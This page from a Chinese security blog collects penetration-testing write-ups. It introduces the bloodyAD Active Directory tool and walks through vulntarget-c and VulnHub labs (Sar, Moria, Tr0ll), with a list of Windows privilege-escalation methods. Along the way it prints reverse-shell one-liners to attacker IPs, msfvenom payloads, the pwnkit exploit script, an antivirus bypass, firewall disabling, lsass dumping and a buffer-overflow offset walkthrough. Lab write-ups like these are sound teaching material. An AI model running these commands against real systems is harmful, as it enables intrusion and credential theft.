泷羽Sec-分享网络安全 | 安全产品测评 | 网站建设 - 权限提升
项目地址：https://github.com/CravateRouge/bloodyAD开发语言：PythonStar：~2.8kbloodyAD是一款Active Directory权限提升的自动化工具。在2024到2025年这个时间段里，它属于AD方向增长比较快速的工具其中的一个。和众多需要在目标处运行二进制文件来进行提权的提权 工具不一样，bloodyAD是借助直接向域控发送LDAP请求来达成AD权限提升的。它不需要往目标机器当中上传任何的文件，只要拥有普通域用户的凭据就可以开展工作。核心特性多种认证方式支持：明文密码、Pass-the-Hash、Pass-the-Ticket、证书认证支持不使用LDAPS的敏感信息交换透明支持SOCKS代理，可以通过CS/Socks代理直接打域控基于skelsec的MSLDAP库，LDAP通信稳定自动利用常见AD ACL配置错误提权支持的攻击工具自动覆盖了大部分常见的AD LDAP提权路径：ACL滥用的状况包含：将DCSync权限赋予给用户、对其他用户的密码进行更改、把用户添加到具有高权限的组之中。从基于资源的约束委派的角度来讲，那便是所谓的RBCD提权情况 。AddKeyCredentialLink（暗影凭据）这类攻击手段，是通过添加密钥暗影凭据以此来获取用户的TGT 。针对DNS记录开展修改操作，并且与AD CS攻击进行相互配合。通过将权限自动提升到域管的路径去进行查找，然后再和配套的自动攻击工具autobloody相互结合，就可以达成从普通用户全自动地攻击到域管这样的状况。使用示例最基础的用法，拿到普通用户哈希后重置域管密码：bloodyAD --host 172.16.1.15 -d bloody.local -u jane.doe -p :70016778cb0524c799ac25b439bd6a31 set password john.doe 'Password123!'给当前用户添加DCSync权限：bloodyAD --host dc01.bloody.local -d bloody.local -u john.doe -p Password123! add dcsyncShadow Credentials攻击给域管添加密钥：bloodyAD --host dc01.bloody.local -d bloody.local -u john.doe -p Password123! add shadowCredentials administrator特点不需要在目标上落地任何文件，纯LDAP协议攻击，隐蔽性高支持代理，可以在内网代理环境下直接使用跨平台，Windows/Linux/macOS都能跑配套autobloody工具可以自动寻找从当前用户到域管的提权路径并自动执行比手动跑PowerView命令效率高很多，__但LDAP协议攻击对日志敏感，需注意域控审计策略__，减少手动操作出错项目Wiki具备着十分周全的使用文档以及针对攻击场景的说明内容，对于去开展AD渗透而言，是很有值得去获取的物件。
vulntarget-c 内网靶场渗透实战：从外网到跨网段提权拿下三台主机
前期环境配置在开始渗透测试前，我们需要先调整靶场虚拟机的网络模式，将ubuntu20虚拟机切换为nat模式，确保所有靶场机器和测试主机处于同一内网网段，方便后续的流量通信和操作。第一阶段：外网打点与初始shell获取1、内网活跃主机探测渗透测试的第一步是定位目标所在的活跃主机，我们在测试终端执行arp-scan扫描命令，快速扫描当前局域网内的所有设备：arp-scan -l 执行后我们很快定位到了目标主机的IP地址：10.30.7.55。2、全端口扫描与服务识别接下来我们使用nmap工具对目标主机进行全面的端口和服务扫描，使用半开放扫描模式避免被目标防火墙拦截，同时提速扫描效率：nmap -sS -p- -A 10.30.7.55 -T4 扫描结果显示80端口（HTTP服务）和22端口（SSH服务）处于开放状态，同时我们还获取了目标主机的系统版本、运行的Web框架等基础信息。3、漏洞信息收集通过扫描结果我们确认目标运行的是Laravel Web框架，结合公开的漏洞库信息，该版本的Laravel存在CVE-2021-3129远程代码执行漏洞，该漏洞可以通过特定的接口请求实现未授权的代码执行。4、漏洞验证与利用该漏洞的触发条件是向/_ignition/execute-solution接口发送恶意POST请求，当页面返回500状态码且出现file_get_contents相关错误时，即可确认漏洞存在。我们构造了如下的HTTP请求包：文章参考：laravel RCE（CVE-2021-3129）复现 - Running_J - 博客园POST /_ignition/execute-solution HTTP/1.1 Host: 10.30.7.55 Content-Type: application/json Content-Length: 168 { "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": { "variableName": "jack", "viewFile": "jack1" } } 5、获取反向shell我们可以使用公开的exp脚本进行快速利用expcuongtop4598/CVE-2021-3129-Script: Add revert shell首先需要根据目标系统的架构调整脚本内容修改源码，uname -a判断为系统类型为x64，并且wget命令存在首先我们生成针对linux x64架构的反弹shell木马：msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=10.30.7.128 lport=4444 -f elf > shell.elf 其中lhost是我们的本地监听IP，lport是自定义的监听端口。为了让目标主机可以下载我们生成的木马我们在本地开启了简易的HTTP文件共享服务，将当前目录作为共享目录。之后我们在目标主机执行修改后的下载命令，将木马文件下载到本地临时目录。接下来我们执行反弹shell命令，建立和本地监听终端的连接：rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.30.7.128 4444 >/tmp/f 继续修改文件，分别写入如下命令，依次执行chmod +x /tmp/shell.elf /tmp/shell.elf 执行之前，新开一个终端，打开msfmsfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 10.30.7.128; set LPORT 4444; exploit -j -z" 上线之后能看到第二个网卡为10.0.20.1416、权限提升成功拿到低权限shell后，我们需要进一步提升权限获取root访问权限。首先我们上传linpeas.sh脚本到目标主机，该脚本可以自动扫描主机上的潜在漏洞和配置错误：upload linpeas.sh shell python3 -c 'import pty;pty.spawn("/bin/bash")' chmod +x linpeas.sh ./linpeas.sh 扫描结果显示目标主机存在CVE-2021-4034（pwnkit）漏洞，这是一个pkexec的本地权限提升漏洞，可以让普通用户获取root权限。我们使用公开的poc脚本进行提权：#!/usr/bin/env python3 # poc for https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt found by qualys # hardcoded amd64 lib from ctypes import * from ctypes.util import find_library import os import zlib import base64 import tempfile payload = zlib.decompress( base64.b64decode( """[binary]""" ) ) libc = CDLL(find_library("c")) libc.exeCVE.argtypes = c_char_p, POINTER(c_char_p), POINTER(c_char_p) libc.exeCVE.restype = c_ssize_t wd = tempfile.mkdtemp() open(wd + "/pwn.so", "wb").write(payload) os.mkdir(wd + "/gconv/") open(wd + "/gconv/gconv-modules", "w").write( "module UTF-8// INTERNAL ../pwn 2" ) os.mkdir(wd + "/GCONV_PATH=.") os.mknod(wd + "/GCONV_PATH=./gconv") os.chmod(wd + "/GCONV_PATH=.", 0o777) os.chmod(wd + "/GCONV_PATH=./gconv", 0o777) os.chmod(wd + "/pwn.so", 0o777) os.chdir(wd) cmd = b"/usr/bin/pkexec" argv = [] envp = [ b"gconv", b"PATH=GCONV_PATH=.", b"LC_MESSAGES=en_US.UTF-8", b"XAUTHORITY=../gconv", b"", ] cargv = (c_char_p * (len(argv) + 1))(*argv, None) cenv = (c_char_p * (len(envp) + 1))(*envp, None) libc.exeCVE(cmd, cargv, cenv) 执行该脚本后我们成功获取到了root权限，同时发现目标主机存在第二块网卡，IP地址为10.0.20.141，说明目标主机处于另一个内网网段，需要进行横向移动渗透。第二阶段：内网横向移动渗透1、配置路由与网段扫描我们需要将msf的流量转发到新发现的10.0.20.0/24网段，以便扫描该网段内的其他主机。首先我们配置路由规则，将该网段的流量通过当前的shell会话转发。接下来我们使用msf的端口扫描模块扫描该网段内的活跃主机：ping内网主机发现，仅仅显示本机的第二张网卡ipfor i in {1..254}; do (ping -c 1 10.0.20.${i} | grep "bytes from" | grep -v "Unreachable" &); done; tcp扫描，发现内网主机ip10.0.20.100，说明目标机器禁了ping或者开启了防火墙use auxiliary/scanner/portscan/tcp set RHOSTS 10.0.20.0/24 set PORTS 22,80,135,139,445 run 2、访问Web后台与漏洞发现我们访问10.0.20.100的80端口，发现是一个企业内部的后台管理系统尝试使用常见的弱口令组合admin/admin123成功登录后台管理界面。在service list中的编辑按钮，能找到数据包，对其进行SQL注入检测，发现其可能存在SQL注入漏洞并且站点跟目录为\xampp\htdocs\ovas\3、SQL注入获取webshell我们使用sqlmap工具对该注入点进行检测，首先确认当前数据库用户权限：sqlmap -u "http://10.0.20.100/admin/services/manage_service.php?id=5" --cookie "PHPSESSID=kij7i7jvpiq97lgf8r98cociip" --current-user 尝试直接获取webshell，发现是系统权限sqlmap -u "http://10.0.20.100/admin/services/manage_service.php?id=5" --cookie "PHPSESSID=kij7i7jvpiq97lgf8r98cociip" --os-shell 成功获取到了windows主机的系统权限shell，我们查看系统架构确认是64位系统，systeminfo 接下来生成对应的反弹shell木马：msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f exe -o shell.exe 传马到第一台机器中开启文件共享4、免杀木马与上线我们将生成的木马文件上传到目标主机的web目录下，尝试使用certutil命令下载并执行：windows机器从这台linux中下载文件certutil -urlcache -split -f http://10.0.20.141:8000/shell.exe shell.exe 准备上线上线失败，被杀加免杀，生成shellcodemsfvenom -p windows/x64/meterpreter/bind_tcp LPORT=4444 -f c --encrypt base64 替换shellcode打包pyinstaller -F -w Bypass_AV.py 继续上传此时没有被杀，但是没有上线，大概率防火墙没关关闭防火墙netsh advfirewall set allprofiles state off 正常上线第三阶段：拿下第三台靶场主机1、内网信息收集与网段扫描成功获取windows主机权限后，我们进行内网信息收集，发现该主机处于工作组环境，没有域控制器。接下来我们扫描10.0.10.0/24网段，发现10.0.10.110主机仅开放22端口，大概率是linux服务器。发现另一个网段机器内网信息收集，发现并没有域环境，是一个工作组ping主机探测，发现内网第三台服务器，通过ttl为64可以看出目标机器大概率是linux服务器for /l %i in (1,1,255) do @ping 10.0.10.%i -w 1 -n 1 | find /i "ttl" msf添加路由run post/multi/manage/autoroute 端口扫描，仅开放22端口use auxiliary/scanner/portscan/tcp set RHOSTS 10.0.10.110 set PORTS 22,80,135,139,445 run 2、爆破登录与凭据获取我们尝试使用之前获取的凭据登录该linux主机，但是全部失败。于是我们使用hydra工具进行弱口令爆破，最终得到登录密码Admin#123，成功登录该主机。抓取系统hashload kiwi creds_all 修改注册表reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f 再次抓取，也失败creds_all 离线导出procdump.exe -accepteula -ma lsass.exe demo.dmp 开启http服务传到本地，使用本地的mimikatz加载明文密码使用mimikatz抓取明文密码，发现系统并没有保存密码在这个文件中，原因就是系统没有本地登录或者远程登录过，所以无法获取用户登录的凭据mimikatz.exe sekurlsa::minidump demo.dmp sekurlsa::logonpasswords full 直接爆破得到密码Admin#123 开启远程服务C:\xampp\htdocs\ovas\admin\services>netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 netsh advfirewall firewall add rule name="Remote Desktop TCP" dir=in action=allow protocol=TCP localport=3389 Ok. C:\xampp\htdocs\ovas\admin\services>reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f The operation completed successfully. 使用默认的远程连接工具连接不上，rdesktop 不支持 CredSSP使用下面这个工具xfreerdp /u:Administrator /v:10.0.20.100 /cert:ignore 3、获取最终权限我们在windows主机的远程连接工具中发现了该linux主机的另一个用户凭据，密码为vuln@qwe，使用该密码我们成功登录并获取了该主机的最高权限，拿下了最后一台靶场机器。在文件管理中发现了这个远程连接工具查看旁边的10.0.10.110直接双击就能远程连接在linux中找了大半天信息，没有任何东西，直到在这个工具中发现这个用户的密码vuln@qwe拿下最后一台机器
下载地址：https://www.vulnhub.com/entry/sar-1,425/首先是利用arp-scan进行主机发现其次是使用map对其进行端口扫描目录扫描一个cms，并且网站标题中已经泄露了版本信息我们检索cms漏洞将这个exp复制到本地反弹shellexport RHOST="10.10.10.128";export RPORT=1234;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'# 或者socat TCP:10.10.10.1:8888 EXEC:/bin/bash创建交互式终端python3 -c 'import pty;pty.spawn("/bin/bash")'然后内网信息收集一堆操作，参考：https://mp.weixin.qq.com/s/B4Lc6gLNU0PuToGjrlngOA看到计划任务中包含了一个root文件每过5分钟执行一次cat /etc/crontabwww-data@sar:/var/www/html$ cat finally.shcat finally.sh#!/bin/sh​./write.shwww-data@sar:/var/www/html$ cat write.shcat write.sh#!/bin/sh​touch /tmp/gatewaywww-data@sar:/var/www/html$ ls -lls -ltotal 32-rwxr-xr-x 1 root root 22 Oct 20 2019 finally.sh-rw-r--r-- 1 www-data www-data 10918 Oct 20 2019 index.html-rw-r--r-- 1 www-data www-data 21 Oct 20 2019 phpinfo.php-rw-r--r-- 1 root root 9 Oct 21 2019 robots.txtdrwxr-xr-x 4 www-data www-data 4096 Oct 20 2019 sar2HTML-rwxrwxrwx 1 www-data www-data 30 Oct 21 2019 write.shwww-data@sar:/var/www/html$ echo 'export RHOST="10.10.10.128";export RPORT=1234;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'' >> write.sh<fd in (0,1,2)];pty.spawn("/bin/bash")'' >> write.shbash: syntax error near unexpected token `('www-data@sar:/var/www/html$ cat write.shcat write.sh#!/bin/sh​touch /tmp/gatewaywww-data@sar:/var/www/html$ lslsfinally.sh index.html phpinfo.php robots.txt sar2HTML write.shwww-data@sar:/var/www/html$ echo 'socat TCP:10.10.10.1:8888 EXEC:/bin/bash' >> write.sh<cat TCP:10.10.10.1:8888 EXEC:/bin/bash' >> write.shwww-data@sar:/var/www/html$ cat write.shcat write.sh#!/bin/sh​touch /tmp/gatewaysocat TCP:10.10.10.1:8888 EXEC:/bin/bashwww-data@sar:/var/www/html$随后等待5分钟即可，本次靶机主要是利用计划任务提权
Windows提权方法：1，SER-TU提权（通过Ser-U管理工具INI配置文件的修改漏洞，当具备配置文件写权限时，植入管理员账户实现权限跨越）2，RADMIN提权（针对4899端口弱口令扫描结果，利用Radmin客户端连接获取系统控制权限）3，PCANYWHRER提权（从Pcanywhere客户端目录获取CIF连接文件，解密其中保存的登录凭证实现越权访问）4，SAM提权（提取系统SAM/SYSTEM缓存文件，通过HASH碰撞破解获取高权限账户密码）5，NC提权（使用NC监听本地端口，配合远程命令调用创建TELNET连接通道，联合特权模块完成提权）6，PR提权（上传免杀版PR程序，调用系统服务注入进程内存空间直接修改账户权限组）7，IIS提权（在IIS 6.0环境中获取配置管理权限，通过应用映射注入添加隐藏管理员账户）8，43958提权（当SER-TU服务具备脚本执行权限时，直接发送43958端口指令触发系统命令执行）9，PERL提权（利用PERL目录下的权限缺陷，通过DIR路径跳转执行NET USER命令创建特权用户）10，内网LCX提权（在目标主机运行LCX监听本地端口，重定向流量至内网3389端口实现隐蔽登录）11，启动提权（当系统启动项目录具备写入权限时，植入预加载脚本实现服务启动阶段权限获取）12，替换服务提权（通过修改系统服务对应的执行文件（如Ser-U主程序），等待服务重启后激活隐藏后门）13，FXP提权（获取FXP传输工具的配置文件后，逆向解析加密字段还原出系统认证密钥）14，输入法提权（利用输入法加载机制缺陷注入恶意模块，该技术在现代系统中已普遍失效）15，360提权（触发系统热键处理流程中的权限验证缺陷，通过特定按键组合调出特权终端）16，VNC提权（当获取VNC服务认证密码后，直接连接5900端口实现系统级控制）17，2003ODAY提权（针对Windows Server 2003等老版本操作系统，使用专用漏洞利用程序获取权限）18，ROOT提权（在获取MSSQL管理员权限后，通过注册表操作植入系统命令执行模块）19，SA密码服务器提权（从网页配置文件（如ASP连接文件）中提取SA账户密码获取数据库控制权)20，FTP溢出提权(用FTP服务处理机制缺陷触发缓冲区溢出，配合端口重定向工具比如lcx完成权限提升）21，烂土豆提权（利用MS16-075（CVE-2016-3225）伪造NTLM认证，劫持SYSTEM令牌。）22、内核提权（利用Windows内核驱动（如clfs.sys、win32k.sys）的内存越界或权限校验缺陷直接获取SYSTEM权限。）23、win缓冲区溢出提权（利用系统服务或驱动程序的缓冲区溢出漏洞（如spoolsv.exe的CVE-2022-21999），上传精心构造的Shellcode触发栈溢出，直接获取SYSTEM权限执行任意命令。）24、mysql UDF提权（当获得MySQL的FILE权限后，将恶意DLL（如lib_mysqludf_sys.dll）写入插件目录，通过CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'创建函数，执行系统命令SELECT sys_eval('net user hacker Pass123 /add')添加管理员。）25、绕UAC（利用受信任的微软白名单程序（如fodhelper.exe、eventvwr.exe）的COM劫持漏洞，修改注册表HKCU\Software\Classes\CLSID键值注入恶意命令，以管理员权限静默启动CMD窗口。）26、CVE，例如#Windows10 CVE-2020-0796 https://www.cnblogs.com/-chenxs/p/12618678.html #Windows7/2008 CVE-2018-8120 https://www.cnblogs.com/-mo-/p/11404598.html #Windows7/8、2008/2012/2016 CVE-2017-0213 https://www.cnblogs.com/-mo-/p/11446144.html #SQL Server、IIS通杀 (针对本地用户的，不能用于域用户) MS16-075(RottenPotato) https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075往期推荐内网渗透，流量转发Linux内网渗透（2w字超详细）AD域内网渗透-三种漏洞利用方式【OSCP】vulnerable_docker，三种代理方法打入内网【内网渗透】CobaltStrike与MSF联动互相上线的方式内网渗透必备，microsocks，一个轻量级的socks代理工具【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！绝对干货！DC-2综合渗透，rbash逃逸，git提权，wordpress靶场渗透教程【渗透测试】12种rbash逃逸方式总结红日靶场5，Windows内网渗透，社工提权，多种域内横向移动思路红日靶场3，joomla渗透，海德拉SMB爆破，域内5台主机横向移动教学不用MSF？红日靶场4，从外网到域控，手工干永恒之蓝，教科书级渗透教学ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略SQL注入中各种WAF的绕过方式，狗，盾，神，锁，宝利用MySQL特性，WAF绕过技巧SQL注入绕过某狗的WAF防火墙，这一篇就够了，6k文案超详细大型翻车现场，十种WAF绕过姿势，仅成功一种喜欢长文吗？1w字图文带你了解sqlmap，从0到1，WAF绕过，高级用法一文通透一个永久的渗透知识库
typora-root-url: ./......typora_imgMoria1.1目标靶机的下载地址：https://www.vulnhub.com/entry/moria-1,187/主机发现&端口扫描，开启的端口只有21，22，80端口开启，并且没有FTP匿名登录打开网页信息收集插件Wappalyzer扫出来一个w目录访问DAIn：“那是人类聋子吗？它为什么不听呢？” ---网易有道可以看到这是一个目录，那么我们可以对这个目录进行扫描，使用gobuster工具gobuster dir -u http://10.10.10.202/w/h/i/s/p/e/r/the_abyss/ -w /data/SecLists_Dict/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,html,zip扫出来了一个random.txt看样子是让我们敲门了，但是顺序并不清楚，尝试连接FTP，提示了欢迎Balrog，但是我们不知道密码抓包嘛在Wireshark中，红色背景的流量包通常表示存在错误或异常的网络流量。这些流量包可能违反了协议规范，或者包含了错误的数据。如图所示，可能的敲门端口顺序就是如下77,100,108,108,111,110,54,57，敲门敲了，但是没发现隐藏端口knock -v 10.10.10.202 77 100 108 108 111 110 54 57查了一下，这泥煤的要用ASCII码，推荐一个网址：https://coding.tools/cn/ascii-table77-M，100-d，108-l，108-l，111-o，110-n，54-6，57-9总结就是Mellon69，发现一个.bash_history（文件保存了用户在终端中执行过的命令。）没有下载权限切换上级目录试试，整个系统文件都出来了切换到var/www/html目录有一段乱码真的蠢子，这样就得到了密码解密结果如下 https://www.somd5.com/Balin：flower Oin：rAInbow Ori：spanky Maeglin：fuckoff Fundin：hunter2 NAIn：warrior DAIn：abcdef ThrAIn：darkness Telchar：magic创建好两个字典┌──(root㉿kali)-[/data/demo] └─# cat user.txt Balin Oin Ori Maeglin Fundin NAIn DAIn ThrAIn Telchar ┌──(root㉿kali)-[/data/demo] └─# cat pass.txt flower rAInbow spanky fuckoff hunter2 warrior abcdef darkness magic爆破失败hydra -L user.txt -P pass.txt -t 4 -vV 10.10.10.202 ssh查看源码（没啥用）此时ssh连接的时候拒绝连接了，看样子是限制爆破，所以刚刚爆破失败了等个1-2分钟的样子，手动连吧，只有Ori能登录进行一些基本的信息收集uname -a hostname # 主机名 # 系统信息相关 lsb_release -a cat /etc/os-release cat /proc/version # 权限相关 sudo -l # 查看可以使用sudo的文件 find / -perm -4000 -print 2>/dev/null # 查找 SUID文件 ls -al /etc/cron* # 查看所有计划任务 find / -perm 777 -type f -u root 2>/dev/null # 查看文件权限为777的文件信息 # 其他信息收集 ps -aux netstat -tulnp history 上面都没找到什么，那就回家，看到一个poem.txt文件，并没啥作用，用ls -al列出所有的内容会发现一个.ssh文件夹，进去后有三个和ssh登录的密匙文件，known_hosts文件中包含了一个本地连接的记录，尝试实用ssh连接127.0.0.1，并且是root用户，发现连接成功，至此提权成功-bash-4.2$ ls -al total 8 drwx------ 3 Ori notBalrog 55 Mar 12 2017 . drwxr-x---. 4 root notBalrog 32 Mar 14 2017 .. -rw------- 1 Ori notBalrog 20 Feb 9 23:44 .bash_history -rw-r--r-- 1 root root 225 Mar 13 2017 poem.txt drwx------ 2 Ori notBalrog 57 Mar 12 2017 .ssh -bash-4.2$ cat poem.txt Ho! Ho! Ho! to the bottle I go To heal my heart and drown my woe. RAIn may fall and wind may blow, And many miles be still to go, But under a tall tree I will lie, And let the clouds go sailing by. PS: Moria will not fall! -bash-4.2$ cd .ssh -bash-4.2$ ls -al total 12 drwx------ 2 Ori notBalrog 57 Mar 12 2017 . drwx------ 3 Ori notBalrog 55 Mar 12 2017 .. -rw------- 1 Ori notBalrog 1679 Mar 12 2017 id_rsa -rw-r--r-- 1 Ori notBalrog 392 Mar 12 2017 id_rsa.pub -rw-r--r-- 1 Ori notBalrog 171 Mar 12 2017 known_hosts -bash-4.2$ cat id_rsa -----BEGIN RSA PRIVATE KEY----- [binary] -----END RSA PRIVATE KEY----- -bash-4.2$ cat id_rsa.pub ssh-rsa [binary] Ori@Prison -bash-4.2$ cat known_hosts 127.0.0.1 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBCuLX/CWxsOhekXJRxQqQH/Yx0SD+XgUpmlmWN1Y8cvmCYJslOh4vE+I6fmMwCdBfi4W061RmFc+vMALlQUYNz0= -bash-4.2$ ssh root@127.0.0.1 -i id_rsa Last login: Fri Apr 28 18:01:27 2017 [root@Moria ~]# whoami root本次提权主要还是属于root用户的ssh私匙泄露导致的权限提升，难度不是很大，师傅们如果还有其他思路，欢迎指出。往期推荐【OSCP】Blender软件的信息泄露---VulnOSv2【OSCP】Tr0ll 靶机全系列（1-3），FTP被玩坏了【OSCP】 Kioptrix 提权靶机（1-5）全系列教程，Try Harder！绝对干货！【渗透测试】DC1~9(全) Linux提权靶机渗透教程，干货w字解析，建议收藏ATK&CK红日靶场二，Weblogic漏洞利用，域渗透攻略
Tr0ll 靶机全系列（1-3）Tr0ll level 1本文主要是利用了FTP匿名登录允许匿名登录再看看网页的东西插件看到一个phpmyadmin数据库管理器但是目录扫描的结果中没有任何phpmyadmin相关的东西只有这两个撒比图片还有一个robots.txt那么只能使用刚刚nmap扫描出来的FTP匿名登录了，密码为空即可登录目标FTP服务器有一个lol.pcap流量包，我们使用大鲨鱼打开看看，下面是FTP下载的命令用大鲨鱼打开，赛选FTP的协议，可以看到登录FTP的账号密码 anonymous / password流量分析这里服务器使用了syst命令，查看系统信息215 ：这是一个状态码，表示请求成功。UNIX Type：L8 ：这是服务器的操作系统类型PORT 10,0,0,12,173,198 （让服务端连接客户端的44486端口）为什么是44486端口？先观察这6位数，前四个和ip地址很像，说明这就是IP地址，实际的数据交互的端口应该是后面两个数构成。这里是用第五个数乘以256 再加上第六个数，这时候就得到了实际的端口号（173x256+198=44486）响应结果为 command successful. Consider using PASV.继续分析命令 LIST （命令用于列出指定目录中的子目录和文件信息，如果没有指定目录的名字就默认列出当前目录下的所有子目录和文件信息，并返回给客户端。），红框中是返回结果，是有一个文件的命令：TYPE I (I 文件传输类型为二进制 ; A 文件传输类型为ASCII) 返回结果： Switching to Binary mode.和刚刚一样的命令：PORT 10,0,0,12,202,172 （客户端请求服务端，让服务端连接客户端51884端口） 返回值：PORT command successful. Consider using PASV.命令：RETR secret_stuff.txt （下载secret_stuff.txt） 返回值：Well, well, well, aren’t you just a clever little devil, you almost found the sup3rs3cr3tdirlol 😛 Sucks, you were so close… gotta TRY HARDER! 好吧，好吧，好吧，你不就是个聪明的小恶魔吗，你差点就找到了sup3rs3cr3tdirlol:-P 太糟糕了，你离得太近了……要更加努力!再自己找找，找到网页上来了，这里有一个二进制文件下载下来看看让我们找到这个 0x0856BF 这个地址，继续Find address 0x0856BF to proceedgood_luck文件夹中this_folder_contAIns_the_password文件夹我们使用海德拉爆破，这里很奇葩，密码为 Pass.txt 密码文件名称就是ssh的密码，指定密码文件那个笑脸，都是错误的切换终端，收集内核信息，ubuntu版本很低，很大可能存在内核提权漏洞符合条件的两个，一个是c文件把他复制到当前目录下，尝试编译，本地不行，放到靶机上去提权成功防止FTP匿名登录在 FTP 服务器（如 vsFTPd、ProFTPD 等）上配置匿名登录通常涉及以下步骤： 编辑配置文件：找到 FTP 服务器的配置文件（例如 /etc/vsftpd.conf）。 启用匿名访问：确保以下配置项被设置为拒绝匿名访问： plAIntext anonymous_enable=NO 设置匿名用户的根目录：指定匿名用户可以访问的目录：plAIntextanon_root=/path/to/anonymous/directory ``` 重启 FTP 服务：保存配置后，重启 FTP 服务以使更改生效：sudo systemctl restart vsftpd level 2主机发现，80探测端口syn扫描，没有啥利用信息了和上一关一样，使用ftp匿名登录试试，失败目录扫描访问robots.txtnoob，keep_trying，dont_bother，ok_this_is_it都是这个母老虎源码What did you really think to find here? Try Harder!，这几个母老虎的源码都是这个提示返回主页，查看源码登录失败普通ftp用户不行，那就换作者的Tr0ll，账号密码都是Tr0ll目录枚举，下载下来尝试各种方法后，也找不到这个密码那么只剩下一个方法了，从这两个图片入手下载就行这里下载的是这张图片这张图片啥也没有仔细分析图片的路径就能清楚了然后根据robots的路径，找到如下图片http://192.168.111.191/dont_bother/cat_the_troll.jpg最终找到一个消息Look Deep within y0ur_self for the answer（从 y0ur_self 处寻找答案），回到网页泄露了一个密码字典爆破（apt install fcrackzip）失败的，就不等了看样子是base64的一个编码，我们去解码一下用base -d解码这个文件，并重定向到pass.txt中然后再爆破，找到了zip的密码ItCantReallyBeThisEasyRightLOL一个ssh密匙，RSA有了密匙，就可以登录服务器了，不支持互相签名（就是不让你登录）提示了sign_and_send_pubkey: no mutual signature supported，表示SSH连接时，客户端和服务器之间无法就公钥认证使用的签名算法达成一致。此时我们要加上一个 -o 参数ssh -i noob -o "PubkeyAcceptedKeyTypes=ssh-rsa" noob@192.168.111.191不让登录，平时的利用方式就没有了，这里有一个shellshock env环境变量绕过ssh的漏洞Shellshock，又称Bashdoor，是Unix中广泛使用的BashShell中的一个安全漏洞，首次于2014年9月24日公开。shellshock Bash漏洞利用CVE-2014-6271被利用！关键字Shellshock，Remote（远程）因为我们有了私匙，只能进行远程的漏洞利用第一个payload，这是一个正反向连接的payload，看到一个SSH-2.0，，，，，目前收集到的信息，大概率不是这个搜第二个，msf的脚本貌似是可以执行命令的这时候可以利用ssh执行命令测试成功了，内网信息收集，低版本的系统筛选出了这个结果使用方法我们的靶机，一个23，一个29，很明显，不适用已经替你们试过了查找指定用户的文件，也没有利用方式回家的路SUIDsuid提权一个个找呗（啥利用方式也没有）有这些东西切换根目录看到三个门第一个门，自动重启了。。。。。两分钟的困难模式，就是不让我输入命令了，把我给锁了两分钟。。。。查看信息，三个门都是root的文件这里要用到一个工具GDB，全名叫做（GNU Debugger）是一个强大的开源调试器，主要用于调试编写在 C、C++、Fortran 等编程语言中的程序。显示给定函数（mAIn）的反汇编代码，mAIn函数一般是一个程序中的主函数disas mAIn door3door2door1发现了第二个door可能存在缓冲区溢出的漏洞，strcpy 函数详细这里我们要用到msf自带的插件了，生成1024个字符（也可以不是1024，500，100都可以），用于测试程序是否存在缓冲区溢出漏洞cd /usr/share/metasploit-framework/tools/exploit ./pattern_create.rb -l 1024在gdb中执行r00t文件，我们可以看到缓冲区溢出在 0x6a413969 这个位置run 你生成的1024个字符Program received signal SIGSEGV, Segmentation fault. 程序接收到SIGSEGV信号，出现了分段故障，存在漏洞使用msf的pattern_offset.rb反查 6a413969 对应上面的字符中的偏移量，为268查找ESP栈的溢出地址，有了偏移量，就可以知道栈空间大小占据空间位置，接下来就要找跳板地址ESP，就可以跳到恶意代码shellcode的位置跳板地址：攻击者会在溢出数据后添加返回地址（即跳板地址），希望程序在执行到这条返回指令时能跳转到覆盖的恶意代码位置，从而执行攻击者的代码。print 写入 268 个A和4个B问：为什么是 4 个 B 而不是 2 个或 6 个？因为返回地址在 x86 上通常是 4 字节，使用 4 个字符（B）正好填满这一字节，每个 B 对应一个字节。如果只使用 2 个 B（即 2 字节），返回地址将没有被完全覆盖。而使用6个，会多于所需的字节数，但仍会覆盖返回地址。不过，这样的做法没有必要，因为多余的 B 不会提供任何额外的好处，只是冗余。r $(python -c 'print "A"*268 + "B"*4') # 在GDB调试工具中 r表示启动调试当前程序 info r # 分析程序调试过程中的状态，在检查程序崩溃、调试函数调用及访问变量时，经常使用，前面已经有一个错误Program received signal SIGSEGV, Segmentation fault.，所以可以直接使用info r查看寄存器状态起始的 esp 内容在生成的字符后面再添加几个字符，执行以后看一下缓冲区溢出的 esp 内容返回了一个新的地址结论：我们要构造268个字符偏移量，将esp位置放在268个字符之后，这样esp位置就存在了返回的栈里，并在esp字符之后加入shellcode，这样完成了对缓冲区溢出的利用。python代码将 0xbffffb80 起始的esp地址转化为十六进制字节序列的形式address = 0xbffffb80 byte_sequence = address.to_bytes(4, byteorder='little') hex_representation = ''.join(f'\x{byte:02x}' for byte in byte_sequence) print(hex_representation) # x80xfbxffxbf查看内核信息x86系统如果输出是 x86_64，则表示你在使用 64 位系统（x64）。如果输出是 i686 或 i386，则表示你在使用 32 位系统（x86）。Shell-Storm 